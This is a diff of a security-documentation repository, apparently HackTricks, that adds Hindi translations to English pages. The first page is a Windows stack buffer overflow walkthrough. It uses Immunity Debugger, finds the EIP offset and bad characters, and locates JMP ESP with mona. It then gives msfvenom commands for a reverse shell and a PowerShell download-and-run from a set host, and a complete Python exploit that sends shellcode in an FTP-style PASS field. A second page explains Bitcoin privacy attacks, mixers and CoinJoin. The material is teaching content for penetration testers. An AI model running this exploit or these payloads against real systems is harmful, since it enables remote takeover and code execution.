Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
||||
|
||||
## **Attach the proces to Immunity Debugger:**
|
||||
## **इम्युनिटी डिबगर से प्रक्रिया को संलग्न करें:**
|
||||
|
||||
**File --> Attach**
|
||||
|
||||
.png>)
|
||||
|
||||
**And press START button**
|
||||
**और START बटन दबाएं**
|
||||
|
||||
## **Send the exploit and check if EIP is affected:**
|
||||
## **एक्सप्लॉइट भेजें और जांचें कि क्या EIP प्रभावित है:**
|
||||
|
||||
.png>)
|
||||
|
||||
Every time you break the service you should restart it as is indicated in the beginnig of this page.
|
||||
जब भी आप सेवा को तोड़ते हैं, तो आपको इसे फिर से शुरू करना चाहिए जैसा कि इस पृष्ठ की शुरुआत में संकेतित है।
|
||||
|
||||
## Create a pattern to modify the EIP
|
||||
## EIP को संशोधित करने के लिए एक पैटर्न बनाएं
|
||||
|
||||
The pattern should be as big as the buffer you used to broke the service previously.
|
||||
पैटर्न उतना बड़ा होना चाहिए जितना कि बफर जो आपने पहले सेवा को तोड़ने के लिए उपयोग किया था।
|
||||
|
||||
.png>)
|
||||
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
||||
```
|
||||
बफर को बदलें और पैटर्न सेट करें और एक्सप्लॉइट लॉन्च करें।
|
||||
|
||||
Change the buffer of the exploit and set the pattern and lauch the exploit.
|
||||
|
||||
A new crash should appeard, but with a different EIP address:
|
||||
एक नया क्रैश दिखाई देना चाहिए, लेकिन एक अलग EIP पते के साथ:
|
||||
|
||||
.png>)
|
||||
|
||||
Check if the address was in your pattern:
|
||||
जांचें कि क्या पता आपके पैटर्न में था:
|
||||
|
||||
.png>)
|
||||
|
||||
```
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
||||
```
|
||||
ऐसा लगता है कि **हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं।**
|
||||
|
||||
Looks like **we can modify the EIP in offset 2606** of the buffer.
|
||||
|
||||
Check it modifing the buffer of the exploit:
|
||||
|
||||
शोषण के बफर को संशोधित करके इसे जांचें:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
||||
```
|
||||
|
||||
With this buffer the EIP crashed should point to 42424242 ("BBBB")
|
||||
इस बफर के साथ EIP क्रैश 42424242 ("BBBB") की ओर इशारा करना चाहिए।
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Looks like it is working.
|
||||
लगता है कि यह काम कर रहा है।
|
||||
|
||||
## Check for Shellcode space inside the stack
|
||||
## स्टैक के अंदर Shellcode स्थान की जांच करें
|
||||
|
||||
600B should be enough for any powerfull shellcode.
|
||||
|
||||
Lets change the bufer:
|
||||
600B किसी भी शक्तिशाली shellcode के लिए पर्याप्त होना चाहिए।
|
||||
|
||||
आइए बफर को बदलते हैं:
|
||||
```
|
||||
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
||||
```
|
||||
|
||||
launch the new exploit and check the EBP and the length of the usefull shellcode
|
||||
नए एक्सप्लॉइट को लॉन्च करें और EBP और उपयोगी शेलकोड की लंबाई की जांच करें
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here.
|
||||
आप देख सकते हैं कि जब भेद्यता तक पहुंचा जाता है, तो EBP शेलकोड की ओर इशारा कर रहा है और हमारे पास यहां शेलकोड रखने के लिए बहुत जगह है।
|
||||
|
||||
In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough.
|
||||
इस मामले में हमारे पास **0x0209A128 से 0x0209A2D6 = 430B.** पर्याप्त है।
|
||||
|
||||
## Check for bad chars
|
||||
|
||||
Change again the buffer:
|
||||
## खराब वर्णों की जांच करें
|
||||
|
||||
फिर से बफर बदलें:
|
||||
```
|
||||
badchars = (
|
||||
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
||||
@ -141,30 +128,27 @@ badchars = (
|
||||
)
|
||||
buffer = 'A'*2606 + 'BBBB' + badchars
|
||||
```
|
||||
बदचर 0x01 से शुरू होता है क्योंकि 0x00 लगभग हमेशा खराब होता है।
|
||||
|
||||
The badchars starts in 0x01 because 0x00 is almost always bad.
|
||||
इस नए बफर के साथ बार-बार एक्सप्लॉइट को निष्पादित करें, उन अक्षरों को हटाते हुए जो बेकार पाए जाते हैं:
|
||||
|
||||
Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:.
|
||||
उदाहरण के लिए:
|
||||
|
||||
For example:
|
||||
|
||||
In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09).
|
||||
इस मामले में आप देख सकते हैं कि **आपको अक्षर 0x0A का उपयोग नहीं करना चाहिए** (कुछ भी मेमोरी में सहेजा नहीं गया क्योंकि अक्षर 0x09 है)।
|
||||
|
||||
.png>)
|
||||
|
||||
In this case you can see that **the char 0x0D is avoided**:
|
||||
इस मामले में आप देख सकते हैं कि **अक्षर 0x0D से बचा जाता है**:
|
||||
|
||||
.png>)
|
||||
|
||||
## Find a JMP ESP as a return address
|
||||
|
||||
Using:
|
||||
## एक वापसी पते के रूप में JMP ESP खोजें
|
||||
|
||||
उपयोग करते हुए:
|
||||
```
|
||||
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||||
```
|
||||
|
||||
You will **list the memory maps**. Search for some DLl that has:
|
||||
आप **मेमोरी मैप्स** की **सूची** बनाएंगे। कुछ DLl खोजें जिनमें:
|
||||
|
||||
- **Rebase: False**
|
||||
- **SafeSEH: False**
|
||||
@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has:
|
||||
|
||||
.png>)
|
||||
|
||||
Now, inside this memory you should find some JMP ESP bytes, to do that execute:
|
||||
|
||||
अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स मिलनी चाहिए, ऐसा करने के लिए निष्पादित करें:
|
||||
```
|
||||
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
||||
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
||||
```
|
||||
|
||||
**Then, if some address is found, choose one that don't contain any badchar:**
|
||||
**फिर, यदि कोई पता पाया जाता है, तो एक ऐसा चुनें जिसमें कोई badchar न हो:**
|
||||
|
||||
.png>)
|
||||
|
||||
**In this case, for example: \_0x5f4a358f**\_
|
||||
|
||||
## Create shellcode
|
||||
**इस मामले में, उदाहरण के लिए: \_0x5f4a358f**\_
|
||||
|
||||
## शेलकोड बनाएं
|
||||
```
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
||||
```
|
||||
यदि एक्सप्लॉइट काम नहीं कर रहा है लेकिन इसे काम करना चाहिए (आप देख सकते हैं कि ImDebg के साथ शेलकोड पहुंचा है), तो अन्य शेलकोड बनाने की कोशिश करें (msfvenom के साथ समान पैरामीटर के लिए विभिन्न शेलकोड बनाएं)।
|
||||
|
||||
If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters).
|
||||
|
||||
**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit:
|
||||
|
||||
**शेलकोड की शुरुआत में कुछ NOPS जोड़ें** और इसका उपयोग करें और रिटर्न एड्रेस को JMP ESP करने के लिए, और एक्सप्लॉइट को समाप्त करें:
|
||||
```bash
|
||||
#!/usr/bin/python
|
||||
|
||||
@ -236,26 +215,23 @@ shellcode = (
|
||||
|
||||
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
||||
try:
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
print "\nLaunching exploit..."
|
||||
s.connect((ip, port))
|
||||
data = s.recv(1024)
|
||||
s.send('USER username' +'\r\n')
|
||||
data = s.recv(1024)
|
||||
s.send('PASS ' + buffer + '\r\n')
|
||||
print "\nFinished!."
|
||||
except:
|
||||
print "Could not connect to "+ip+":"+port
|
||||
print "Could not connect to "+ip+":"+port
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode
|
||||
> कुछ शेलकोड हैं जो **अपने आप को ओवरराइट** कर देंगे, इसलिए शेलकोड से पहले हमेशा कुछ NOPs जोड़ना महत्वपूर्ण है
|
||||
|
||||
## Improving the shellcode
|
||||
|
||||
Add this parameters:
|
||||
## शेलकोड में सुधार
|
||||
|
||||
इन पैरामीटर को जोड़ें:
|
||||
```bash
|
||||
EXITFUNC=thread -e x86/shikata_ga_nai
|
||||
```
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,180 +1,176 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Concepts
|
||||
## मूल अवधारणाएँ
|
||||
|
||||
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
|
||||
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
|
||||
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
|
||||
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
|
||||
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
|
||||
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
|
||||
- **स्मार्ट कॉन्ट्रैक्ट्स** को उन प्रोग्रामों के रूप में परिभाषित किया जाता है जो एक ब्लॉकचेन पर तब निष्पादित होते हैं जब कुछ शर्तें पूरी होती हैं, मध्यस्थों के बिना समझौतों के निष्पादन को स्वचालित करते हैं।
|
||||
- **विकेंद्रीकृत अनुप्रयोग (dApps)** स्मार्ट कॉन्ट्रैक्ट्स पर आधारित होते हैं, जिनमें उपयोगकर्ता के अनुकूल फ्रंट-एंड और पारदर्शी, ऑडिट करने योग्य बैक-एंड होता है।
|
||||
- **टोकन और सिक्के** में अंतर होता है, जहाँ सिक्के डिजिटल पैसे के रूप में कार्य करते हैं, जबकि टोकन विशिष्ट संदर्भों में मूल्य या स्वामित्व का प्रतिनिधित्व करते हैं।
|
||||
- **यूटिलिटी टोकन** सेवाओं तक पहुँच प्रदान करते हैं, और **सिक्योरिटी टोकन** संपत्ति के स्वामित्व का संकेत देते हैं।
|
||||
- **DeFi** का अर्थ विकेंद्रीकृत वित्त है, जो केंद्रीय प्राधिकरणों के बिना वित्तीय सेवाएँ प्रदान करता है।
|
||||
- **DEX** और **DAOs** क्रमशः विकेंद्रीकृत एक्सचेंज प्लेटफार्मों और विकेंद्रीकृत स्वायत्त संगठनों को संदर्भित करते हैं।
|
||||
|
||||
## Consensus Mechanisms
|
||||
## सहमति तंत्र
|
||||
|
||||
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
|
||||
सहमति तंत्र ब्लॉकचेन पर सुरक्षित और सहमति से लेनदेन की मान्यता सुनिश्चित करते हैं:
|
||||
|
||||
- **Proof of Work (PoW)** relies on computational power for transaction verification.
|
||||
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
|
||||
- **प्रूफ ऑफ वर्क (PoW)** लेनदेन की सत्यापन के लिए कंप्यूटेशनल शक्ति पर निर्भर करता है।
|
||||
- **प्रूफ ऑफ स्टेक (PoS)** सत्यापनकर्ताओं से एक निश्चित मात्रा में टोकन रखने की मांग करता है, जो PoW की तुलना में ऊर्जा की खपत को कम करता है।
|
||||
|
||||
## Bitcoin Essentials
|
||||
## बिटकॉइन आवश्यकताएँ
|
||||
|
||||
### Transactions
|
||||
### लेनदेन
|
||||
|
||||
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
|
||||
बिटकॉइन लेनदेन में पते के बीच धन का हस्तांतरण शामिल होता है। लेनदेन को डिजिटल हस्ताक्षरों के माध्यम से मान्य किया जाता है, यह सुनिश्चित करते हुए कि केवल निजी कुंजी का मालिक ही हस्तांतरण शुरू कर सकता है।
|
||||
|
||||
#### Key Components:
|
||||
#### प्रमुख घटक:
|
||||
|
||||
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
|
||||
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
|
||||
- **मल्टीसिग्नेचर लेनदेन** को एक लेनदेन को अधिकृत करने के लिए कई हस्ताक्षरों की आवश्यकता होती है।
|
||||
- लेनदेन में **इनपुट** (धन का स्रोत), **आउटपुट** (गंतव्य), **शुल्क** (खननकर्ताओं को भुगतान किया गया), और **स्क्रिप्ट** (लेनदेन के नियम) शामिल होते हैं।
|
||||
|
||||
### Lightning Network
|
||||
### लाइटनिंग नेटवर्क
|
||||
|
||||
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
|
||||
बिटकॉइन की स्केलेबिलिटी को बढ़ाने का लक्ष्य है, जिससे एक चैनल के भीतर कई लेनदेन किए जा सकें, केवल अंतिम स्थिति को ब्लॉकचेन पर प्रसारित किया जाए।
|
||||
|
||||
## Bitcoin Privacy Concerns
|
||||
## बिटकॉइन गोपनीयता चिंताएँ
|
||||
|
||||
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
|
||||
गोपनीयता हमले, जैसे **कॉमन इनपुट ओनरशिप** और **UTXO चेंज एड्रेस डिटेक्शन**, लेनदेन के पैटर्न का लाभ उठाते हैं। **मिक्सर्स** और **कोइनजॉइन** जैसी रणनीतियाँ उपयोगकर्ताओं के बीच लेनदेन के लिंक को अस्पष्ट करके गुमनामी में सुधार करती हैं।
|
||||
|
||||
## Acquiring Bitcoins Anonymously
|
||||
## बिटकॉइन को गुमनाम रूप से प्राप्त करना
|
||||
|
||||
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
|
||||
विधियों में नकद व्यापार, खनन, और मिक्सर्स का उपयोग शामिल है। **कोइनजॉइन** कई लेनदेन को मिलाकर ट्रेसबिलिटी को जटिल बनाता है, जबकि **पे-जॉइन** कोइनजॉइन को नियमित लेनदेन के रूप में छिपाता है ताकि गोपनीयता बढ़ सके।
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
# बिटकॉइन गोपनीयता हमले
|
||||
|
||||
# Summary of Bitcoin Privacy Attacks
|
||||
# बिटकॉइन गोपनीयता हमलों का सारांश
|
||||
|
||||
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
|
||||
बिटकॉइन की दुनिया में, लेनदेन की गोपनीयता और उपयोगकर्ताओं की गुमनामी अक्सर चिंता का विषय होती है। यहाँ कुछ सामान्य तरीकों का सरल अवलोकन है जिनके माध्यम से हमलावर बिटकॉइन की गोपनीयता को खतरे में डाल सकते हैं।
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
## **कॉमन इनपुट ओनरशिप अनुमान**
|
||||
|
||||
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
|
||||
यह सामान्यतः दुर्लभ है कि विभिन्न उपयोगकर्ताओं के इनपुट को एक ही लेनदेन में जोड़ा जाए क्योंकि इसमें जटिलता होती है। इसलिए, **एक ही लेनदेन में दो इनपुट पते अक्सर एक ही मालिक के होने का अनुमान लगाया जाता है**।
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
## **UTXO चेंज एड्रेस डिटेक्शन**
|
||||
|
||||
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
|
||||
एक UTXO, या **अनस्पेंट ट्रांजैक्शन आउटपुट**, को एक लेनदेन में पूरी तरह से खर्च किया जाना चाहिए। यदि इसका केवल एक भाग किसी अन्य पते पर भेजा जाता है, तो शेष एक नए चेंज पते पर जाता है। पर्यवेक्षक यह मान सकते हैं कि यह नया पता भेजने वाले का है, जिससे गोपनीयता का उल्लंघन होता है।
|
||||
|
||||
### Example
|
||||
### उदाहरण
|
||||
|
||||
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
|
||||
इससे बचने के लिए, मिक्सिंग सेवाएँ या कई पते का उपयोग स्वामित्व को अस्पष्ट करने में मदद कर सकते हैं।
|
||||
|
||||
## **Social Networks & Forums Exposure**
|
||||
## **सोशल नेटवर्क और फोरम का प्रदर्शन**
|
||||
|
||||
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
|
||||
उपयोगकर्ता कभी-कभी अपने बिटकॉइन पते को ऑनलाइन साझा करते हैं, जिससे **पते को उसके मालिक से जोड़ना आसान हो जाता है**।
|
||||
|
||||
## **Transaction Graph Analysis**
|
||||
## **लेनदेन ग्राफ विश्लेषण**
|
||||
|
||||
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
|
||||
लेनदेन को ग्राफ के रूप में दृश्य रूप में प्रस्तुत किया जा सकता है, जो उपयोगकर्ताओं के बीच संभावित संबंधों को धन के प्रवाह के आधार पर प्रकट करता है।
|
||||
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
## **अनावश्यक इनपुट ह्यूरिस्टिक (ऑप्टिमल चेंज ह्यूरिस्टिक)**
|
||||
|
||||
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
|
||||
|
||||
### Example
|
||||
यह ह्यूरिस्टिक कई इनपुट और आउटपुट वाले लेनदेन का विश्लेषण करके अनुमान लगाने पर आधारित है कि कौन सा आउटपुट भेजने वाले को वापस लौटने वाला परिवर्तन है।
|
||||
|
||||
### उदाहरण
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
यदि अधिक इनपुट जोड़ने से परिवर्तन आउटपुट किसी एकल इनपुट से बड़ा हो जाता है, तो यह ह्यूरिस्टिक को भ्रमित कर सकता है।
|
||||
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
## **फोर्स्ड एड्रेस रीयूज़**
|
||||
|
||||
## **Forced Address Reuse**
|
||||
हमलावर पहले से उपयोग किए गए पते पर छोटे-छोटे अमाउंट भेज सकते हैं, यह उम्मीद करते हुए कि प्राप्तकर्ता भविष्य के लेनदेन में इन्हें अन्य इनपुट के साथ मिलाएगा, जिससे पते आपस में जुड़े रहेंगे।
|
||||
|
||||
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||
### सही वॉलेट व्यवहार
|
||||
|
||||
### Correct Wallet Behavior
|
||||
वॉलेट को पहले से उपयोग किए गए, खाली पते पर प्राप्त किए गए सिक्कों का उपयोग करने से बचना चाहिए ताकि इस गोपनीयता लीक को रोका जा सके।
|
||||
|
||||
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||
## **अन्य ब्लॉकचेन विश्लेषण तकनीकें**
|
||||
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
- **सटीक भुगतान राशि:** बिना परिवर्तन के लेनदेन संभवतः एक ही उपयोगकर्ता के दो पते के बीच होते हैं।
|
||||
- **गोल नंबर:** लेनदेन में गोल संख्या यह सुझाव देती है कि यह एक भुगतान है, जिसमें गैर-गोल आउटपुट संभवतः परिवर्तन है।
|
||||
- **वॉलेट फिंगरप्रिंटिंग:** विभिन्न वॉलेट के पास लेनदेन निर्माण के अद्वितीय पैटर्न होते हैं, जिससे विश्लेषकों को उपयोग किए गए सॉफ़्टवेयर और संभावित परिवर्तन पते की पहचान करने की अनुमति मिलती है।
|
||||
- **राशि और समय संबंध:** लेनदेन के समय या राशियों का खुलासा लेनदेन को ट्रेस करने योग्य बना सकता है।
|
||||
|
||||
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
|
||||
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
|
||||
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
|
||||
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
|
||||
## **ट्रैफिक विश्लेषण**
|
||||
|
||||
## **Traffic Analysis**
|
||||
नेटवर्क ट्रैफिक की निगरानी करके, हमलावर संभावित रूप से लेनदेन या ब्लॉकों को आईपी पते से जोड़ सकते हैं, जिससे उपयोगकर्ता की गोपनीयता का उल्लंघन होता है। यह विशेष रूप से सच है यदि कोई इकाई कई बिटकॉइन नोड्स संचालित करती है, जिससे उनके लेनदेन की निगरानी करने की क्षमता बढ़ जाती है।
|
||||
|
||||
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
|
||||
## अधिक
|
||||
|
||||
## More
|
||||
गोपनीयता हमलों और रक्षा के लिए एक व्यापक सूची के लिए, [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) पर जाएं।
|
||||
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
# गुमनाम बिटकॉइन लेनदेन
|
||||
|
||||
# Anonymous Bitcoin Transactions
|
||||
## गुमनाम रूप से बिटकॉइन प्राप्त करने के तरीके
|
||||
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
- **नकद लेनदेन**: नकद के माध्यम से बिटकॉइन प्राप्त करना।
|
||||
- **नकद विकल्प**: उपहार कार्ड खरीदना और उन्हें ऑनलाइन बिटकॉइन के लिए बदलना।
|
||||
- **माइनिंग**: बिटकॉइन कमाने का सबसे निजी तरीका माइनिंग है, विशेष रूप से जब इसे अकेले किया जाता है क्योंकि माइनिंग पूल माइनर के आईपी पते को जान सकते हैं। [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **चोरी**: सिद्धांत रूप से, बिटकॉइन चुराना गुमनाम रूप से इसे प्राप्त करने का एक और तरीका हो सकता है, हालांकि यह अवैध है और अनुशंसित नहीं है।
|
||||
|
||||
- **Cash Transactions**: Acquiring bitcoin through cash.
|
||||
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
|
||||
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
|
||||
## मिक्सिंग सेवाएँ
|
||||
|
||||
## Mixing Services
|
||||
मिक्सिंग सेवा का उपयोग करके, एक उपयोगकर्ता **बिटकॉइन भेज सकता है** और **वापस में विभिन्न बिटकॉइन प्राप्त कर सकता है**, जिससे मूल मालिक को ट्रेस करना कठिन हो जाता है। फिर भी, इसके लिए सेवा पर भरोसा करना आवश्यक है कि वह लॉग नहीं रखेगी और वास्तव में बिटकॉइन वापस करेगी। वैकल्पिक मिक्सिंग विकल्पों में बिटकॉइन कैसीनो शामिल हैं।
|
||||
|
||||
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
|
||||
## कॉइनजॉइन
|
||||
|
||||
## CoinJoin
|
||||
**कॉइनजॉइन** विभिन्न उपयोगकर्ताओं के कई लेनदेन को एक में मिलाता है, जिससे किसी के लिए इनपुट को आउटपुट से मिलाना जटिल हो जाता है। इसके प्रभावी होने के बावजूद, अद्वितीय इनपुट और आउटपुट आकार वाले लेनदेन को अभी भी संभावित रूप से ट्रेस किया जा सकता है।
|
||||
|
||||
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
|
||||
उदाहरण लेनदेन जो कॉइनजॉइन का उपयोग कर सकते हैं उनमें `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` और `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` शामिल हैं।
|
||||
|
||||
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
अधिक जानकारी के लिए, [CoinJoin](https://coinjoin.io/en) पर जाएं। एथेरियम पर समान सेवा के लिए, [Tornado Cash](https://tornado.cash) देखें, जो माइनर्स के फंड से लेनदेन को गुमनाम बनाता है।
|
||||
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
|
||||
## PayJoin
|
||||
|
||||
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
|
||||
## पे-जॉइन
|
||||
|
||||
कॉइनजॉइन का एक रूप, **पे-जॉइन** (या P2EP), दो पक्षों (जैसे, एक ग्राहक और एक व्यापारी) के बीच लेनदेन को एक सामान्य लेनदेन के रूप में छुपाता है, बिना कॉइनजॉइन की विशिष्ट समान आउटपुट विशेषता के। यह इसे पहचानना अत्यंत कठिन बनाता है और लेनदेन निगरानी संस्थाओं द्वारा उपयोग की जाने वाली सामान्य-इनपुट-स्वामित्व ह्यूरिस्टिक को अमान्य कर सकता है।
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
उपरोक्त लेनदेन PayJoin हो सकते हैं, जो गोपनीयता को बढ़ाते हैं जबकि मानक बिटकॉइन लेनदेन से भिन्न नहीं होते।
|
||||
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
**PayJoin का उपयोग पारंपरिक निगरानी विधियों को महत्वपूर्ण रूप से बाधित कर सकता है**, जो लेनदेन की गोपनीयता की खोज में एक आशाजनक विकास है।
|
||||
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
# क्रिप्टोक्यूरेंसी में गोपनीयता के लिए सर्वोत्तम प्रथाएँ
|
||||
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
## **वॉलेट समन्वय तकनीकें**
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
गोपनीयता और सुरक्षा बनाए रखने के लिए, ब्लॉकचेन के साथ वॉलेट का समन्वय करना महत्वपूर्ण है। दो विधियाँ प्रमुख हैं:
|
||||
|
||||
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
|
||||
- **पूर्ण नोड**: पूरे ब्लॉकचेन को डाउनलोड करके, एक पूर्ण नोड अधिकतम गोपनीयता सुनिश्चित करता है। सभी लेनदेन जो कभी किए गए हैं, स्थानीय रूप से संग्रहीत होते हैं, जिससे प्रतिकूलों के लिए यह पहचानना असंभव हो जाता है कि उपयोगकर्ता किस लेनदेन या पते में रुचि रखता है।
|
||||
- **क्लाइंट-साइड ब्लॉक फ़िल्टरिंग**: यह विधि ब्लॉकचेन में प्रत्येक ब्लॉक के लिए फ़िल्टर बनाने में शामिल होती है, जिससे वॉलेट्स को नेटवर्क पर्यवेक्षकों को विशिष्ट रुचियों को उजागर किए बिना प्रासंगिक लेनदेन की पहचान करने की अनुमति मिलती है। हल्के वॉलेट इन फ़िल्टरों को डाउनलोड करते हैं, केवल तब पूर्ण ब्लॉक लाते हैं जब उपयोगकर्ता के पते के साथ मेल मिलता है।
|
||||
|
||||
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
|
||||
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
|
||||
## **गोपनीयता के लिए टोर का उपयोग करना**
|
||||
|
||||
## **Utilizing Tor for Anonymity**
|
||||
चूंकि बिटकॉइन एक पीयर-टू-पीयर नेटवर्क पर काम करता है, अपने आईपी पते को छिपाने के लिए टोर का उपयोग करने की सिफारिश की जाती है, जिससे नेटवर्क के साथ बातचीत करते समय गोपनीयता बढ़ती है।
|
||||
|
||||
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
|
||||
## **पते के पुन: उपयोग को रोकना**
|
||||
|
||||
## **Preventing Address Reuse**
|
||||
